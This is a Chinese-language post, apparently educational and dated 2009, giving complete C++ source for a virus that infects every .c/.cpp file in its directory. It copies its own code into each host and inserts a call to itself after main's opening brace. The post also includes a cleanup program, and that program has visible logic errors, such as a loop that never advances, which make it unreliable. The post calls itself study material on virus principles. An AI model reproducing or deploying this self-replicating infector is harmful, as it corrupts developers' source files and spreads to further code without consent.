主要是感染C/C++源文件只要编译该段源程序就会使当前目录里的所有.c和.cpp文件感染上病毒,当然如果是没有主函数的源文件就没有作用:思想很简单:插入一段复制自身的代码,而这段代码是将自身的病毒部分传播给同目录下的其它文件。
程序清单:
1.病毒文件
//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度
//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
if(VirusCode[CodeLen] == "//END")
{
CodeLen++;
break;
}
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
//不能感染当前.cpp文件和已感染的文件
if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
{
cout<<FindFileData.cFileName<<":是感染源!/n";
}
else//感染其它文件
{
//加载宿主文件
ifstream ibe(FindFileData.cFileName);
for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
{
if (FileCode[FileLen].find("main") != -1)
{
InsertLoc = FileLen;
}
}
ibe.close();
if(FileCode[0] == "//START")//该文件已被感染
{
cout<<FindFileData.cFileName<<":已携带了病毒!/n";
}
else if (FileLen > 500)
{
cout<<FindFileData.cFileName<<":文件太大了!/n";
}
else
{
//打开宿主文件
ofstream be(FindFileData.cFileName);
//插入病毒代码
for(int i = 0;i < CodeLen;i++)
{
be<<VirusCode[i]<<endl;
}
//病毒函数调用位置前文本插入
for(int i = 0;i < InsertLoc;i++)
{
be<<FileCode[i]<<endl;
}
//插入函数调用vir()
for(int i = InsertLoc;i < FileLen;i++)
{
int j = FileCode[i].find('{');
if(j != -1)
{
FileCode[i].insert(j + 1,"/nvir();");
break;
}
}
//病毒函数调用位置后插入剩余文本
for(int i = InsertLoc;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":感染成功!/n";
}
}
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}
杀毒程序:
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序仅供病毒原理学习之用
//请勿用此程序进行破坏计算机之行为,否则由此引发之后果自负
//保留所有权利,东北大学秦皇岛分校2009年6月1日
void revir()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string FileCode[500];
//病毒函数调用应当插在"main"后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件
while (true)
{
//加载文件
int FileLen = 0; //宿主代码长度
int MainLoc = 0; //主函数位置
ifstream ibe(FindFileData.cFileName);
getline(ibe,FileCode[0]);
if(FileCode[0] == "//START")//当前文件被感染过
{
//病毒代码要过虑掉
for(FileLen = 0;getline(ibe,FileCode[0]);)
{
if(FileCode[FileLen] == "//END")
{
break;
}
}
//宿主未感染前的代码
for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
{
if(FileCode[FileLen].find("main") != -1)
{
MainLoc = FileLen;
}
}
//清除主文件中的函数调用
for (int i = MainLoc;i < FileLen;i++)
{
if(FileCode[i].find('{') != -1)
{
FileCode[i + 1] = "";
break;
}
}
ibe.close();
ofstream be(FindFileData.cFileName);
for(int i = 0;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":病毒清除成功/n";
}
cout<<FindFileData.cFileName<<":没有被感染!/n";
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int main()
{
revir();
return 0;
}